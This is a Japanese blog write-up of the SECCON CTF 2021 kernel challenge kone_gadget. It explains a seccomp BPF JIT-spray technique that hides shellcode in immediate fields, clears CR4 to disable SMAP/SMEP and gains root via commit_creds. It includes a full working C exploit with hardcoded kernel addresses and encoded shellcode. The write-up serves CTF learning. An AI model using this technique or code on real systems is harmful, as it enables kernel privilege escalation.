【pwn 58.0】kone_gadget - SECCON CTF 2021 観戦記 (kernel exploit)
1: イントロ
SECCON CTF 2021 がいつだったか開催されたみたいです。本エントリではkernel問題のkone_gadget
を復習していきます。開催期間中は解けませんでした。あとパソコン壊れました。そろそろ買い換えようと思います。
なお、exploitはauthorさんのコピペなのでDiscordのチャンネルを見てください。
2: static
lysithea
=============================== Drothea v1.0.0 [.] kernel version: Linux version 5.14.12 (ptr@medium-pwn) (x86_64-buildroot-linux-uclibc-gcc.br_real (Buildroot 2021.08-1129-gdd1412c060-dirty) 10.3.0, GNU ld (GNU Binutils) 2.36.1) #4 SMP Mon Nov 8 23:50:41 JST 2021 [-] CONFIG_KALLSYMS_ALL is enabled. cat: can't open '/proc/sys/kernel/unprivileged_bpf_disabled': No such file or directory [-] unprivileged userfaultfd is disabled. [?] kptr seems restricted. Should try 'echo 0 > /proc/sys/kernel/kptr_restrict' in init script. Ingrid v1.0.0 [.] userfaultfd is not disabled. [-] CONFIG_STRICT_DEVMEM is enabled. ===============================
コレを見て、あ、unprivileged bpf使えないんかと絶望した。
patch
問題はシンプルで、以下のシステムコールを追加する。rax
以外のレジスタを全クリアした上で、指定したアドレスにジャンプする。
// Added to `arch/x86/entry/syscalls/syscall_64.tbl` 1337 64 seccon sys_seccon // Added to `kernel/sys.c`: SYSCALL_DEFINE1(seccon, unsigned long, rip) { asm volatile("xor %%edx, %%edx;" "xor %%ebx, %%ebx;" "xor %%ecx, %%ecx;" "xor %%edi, %%edi;" "xor %%esi, %%esi;" "xor %%r8d, %%r8d;" "xor %%r9d, %%r9d;" "xor %%r10d, %%r10d;" "xor %%r11d, %%r11d;" "xor %%r12d, %%r12d;" "xor %%r13d, %%r13d;" "xor %%r14d, %%r14d;" "xor %%r15d, %%r15d;" "xor %%ebp, %%ebp;" "xor %%esp, %%esp;" "jmp %0;" "ud2;" : : "rax"(rip)); return 0; }
3: 考えたこと(FAIL)
スタックをピボットしてmmapしたuser領域に向けてなんとかROP出来ないかと一瞬考えた。SMAPだったわと思ってすぐに考えるのを止めた。authorを信頼しているため、まさかタイトルの通り本当にone_gadgetが存在しているとは全く思わなかったが、実際に手を動かさないとわからなさそうだったので、諦めた。
4: 想定解
終わってすぐに非想定解の方を聞いたため呆気にとられてしまったが、よくよく見るとちゃんと想定解があった。そしてかなり賢くて良い問題だった。
想定解では、seccompを使っている。seccompのフィルタルールがJITされること、及びNOKASLRゆえにそのページアドレスもpredictableなことを利用して、JITしたページに飛ぶとuser-controlledなコードを実行できる。とはいっても、bpfでは命令セットが少なく、pushとかpopもない(よね?)ため、ロード命令のIMMフィールドを上手く使ってシェルコードにしている。
どういうことかというと、以下のようなbpf命令を考えると:
#define NOP \ ((struct bpf_insn){ \ .code = BPF_LD | BPF_IMM, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0x01eb9090})
実際に生成されるJITコードは以下のようになる:
(gdb) x/10i $rip - 0x4 0xffffffffc0000efc: add DWORD PTR [rax+0x1eb9090],edi 0xffffffffc0000f02: mov eax,0x1eb9090 0xffffffffc0000f07: mov eax,0x1eb9090 0xffffffffc0000f0c: mov eax,0x1eb9090
これを、オペランドの部分だけ見て解釈すると以下のようにnop + nop + jmp 0x3
になる:
(gdb) x/10i $rip - 0x2 0xffffffffc0000efe: nop 0xffffffffc0000eff: nop => 0xffffffffc0000f00: jmp 0xffffffffc0000f03 0xffffffffc0000f02: mov eax,0x1eb9090 0xffffffffc0000f07: mov eax,0x1eb9090 0xffffffffc0000f0c: mov eax,0x1eb9090
こうすることで、オペランドの中で任意の命令を実行しては、次にある命令をスキップしてまた任意の命令の実行に繋げることが出来る。
これで任意のシェルコードを実行できるようになった。あとはcommit(pkc(0))
するために、kROPをしたい。これは、上のシェルコードなかでCR4をクリアしてSMAP/SMEP無効にすることで実現できる。賢いね。
因みに、上に書いた理由で成功率は75%の気がする。上のNOP命令のうち、nopとjmpでないところに当たると失敗する。また、スタック用のページは2ページ分ちゃんととらないと他の関数を呼んだときにスタックが溢れるので注意(これで少し時間を潰した)。
5: 非想定解
jmp &flag
うわーーーーーーーーーーーーーーーーーーーーーーーーーーーーい。
6: exploit
Almost parts are copied from author's poc.
#include "./exploit.h" #include <linux/prctl.h> #include <sys/mman.h> /*********** constants ******************/ #define STACK 0xFFF000// must be const ulong SECCOMP_RET_ALLOW = 0x7fff0000; // KASLR is disabled scu commit_creds = 0xffffffff81073ad0; scu pkc = 0xffffffff81073c60; scu trampoline = 0xffffffff81800e26; #define NOP \ ((struct bpf_insn){ \ .code = BPF_LD | BPF_IMM, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0x01eb9090}) #define BPF_RET_IMM(IMM) \ ((struct bpf_insn){ \ .code = BPF_RET, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = IMM}) #define FSIZE 0x312 // COPIED FROM AUTHOR'S POC // (END constants) // clean e(dx|bx|cx|si|bp|sp), r([8-15])d, and jmp to $rip[$rax] void seccon(ulong offset) { assert(syscall(1337, offset) == 0); } void install_filter(char *filter, ushort len) { struct sock_fprog prog = { .len = len, .filter = (struct sock_filter*)filter, }; if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) errExit("no_new_privs"); if(prctl(PR_SET_SECCOMP, 2, &prog) < 0) errExit("set_seccomp"); } int main(int argc, char *argv[]) { puts("[+] start of exploit"); struct bpf_insn nop = NOP; struct bpf_insn ret = BPF_RET_IMM(SECCOMP_RET_ALLOW); printf("[+] nirugiri @ %p\n", NIRUGIRI); save_state(); ulong rop[] = { pkc, commit_creds, trampoline, 0, 0, (ulong)NIRUGIRI, (ulong)user_cs, (ulong)user_rflags, (ulong)user_sp, (ulong)user_ss, }; ulong *filter = (ulong*)malloc((FSIZE + 1) * 8); // 2 more page is required cuz pkc() and etc uses stack const char *addr = (char*)mmap((void*)STACK, 2 * PAGE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_POPULATE | MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED, -1, 0); if (addr == MAP_FAILED || addr != (char*)STACK) errExit("mmap"); printf("[+] mapped @ %p\n", addr); for (int ix = 0; ix != sizeof(rop); ++ix) ((ulong*)(addr + PAGE))[ix] = rop[ix]; for (int ix = 0; ix != FSIZE; ++ix) filter[ix] = *(ulong*)&nop; filter[FSIZE] = *(ulong*)&ret; ulong *chain = &filter[FSIZE - 20]; /**** COPIED from comment in Discord of SECCON 2021 from author: @ptrYudai ********/ /**** (NOTE: 'jmp 1' here means `jmp 0x3`, which skips valid opcode field and jump to operand field, which is actually shellcode for us.) **/ /**** (NOTE: unprivileged bpf installation is disallowed in this kernel, but seccomp installation is allowed and JITed, **/ /**** So below insts uses LD instruction, whose IMM field is shellcode.) **/ /**** (NOTE: for the reason stated above, success rate is 75%. ) **/ *chain++ = (ulong)(0x04E7200F) << 32; // mov rdi, cr4; add al, XX; // edx = ~0x300000 *chain++ = (ulong)(0x01ebD231) << 32; // xor edx, edx; jmp 1; *chain++ = (ulong)(0x01ebC2FF) << 32; // inc edx; jmp 1; *chain++ = (ulong)(0x01ebE2D1) << 32; // shl edx, 1; jmp 1; *chain++ = (ulong)(0x01ebC2FF) << 32; // inc edx; jmp 1; *chain++ = (ulong)(0x0414E2C1) << 32; // shl edx, 20; add al, XX; *chain++ = (ulong)(0x01ebD2F7) << 32; // not edx; // rdi &= rdx *chain++ = (ulong)(0x04D72148) << 32; // and rdi, rdx; add al, XX; // cr4 = rdi *chain++ = (ulong)(0x04E7220F) << 32; // mov cr4, rdi; add al, XX; // esp = 0x1000000 *chain++ = (ulong)(0x01ebE431) << 32; // xor esp, esp; jmp 1; *chain++ = (ulong)(0x01ebC4FF) << 32; // inc esp; jmp 1; *chain++ = (ulong)(0x0418E4C1) << 32; // shl esp, 24; add al, XX; // commit_creds(prepare_kernel_cred(NULL)); *chain++ = (ulong)(0x01ebFF31) << 32; // xor edi, edi; jmp 1; *chain++ = (ulong)(0x01eb9058) << 32; // pop rax; nop; jmp 1; *chain++ = (ulong)(0x01ebD0FF) << 32; // call rax; jmp 1; *chain++ = (ulong)(0x04C78948) << 32; // mov rdi, rax; add al, XX; *chain++ = (ulong)(0x01eb9058) << 32; // pop rax; nop; jmp 1; *chain++ = (ulong)(0x01ebD0FF) << 32; // call rax; jmp 1; // jump to swapgs_restore_regs_and_return_to_usermode *chain++ = (ulong)(0xccE0FF58) << 32; // pop rax; jmp rax; /**** end copied ******************************************************************/ install_filter((char*)filter, FSIZE + 1); seccon(0xffffffffc0000f00); // JITed code is loaded // end of life puts("[ ] END of life..."); sleep(999999); }
7: アウトロ
良い問題でした。
8: 参考
1: nirugiri
2: lysithea
https://github.com/smallkirby/lysithea
続く...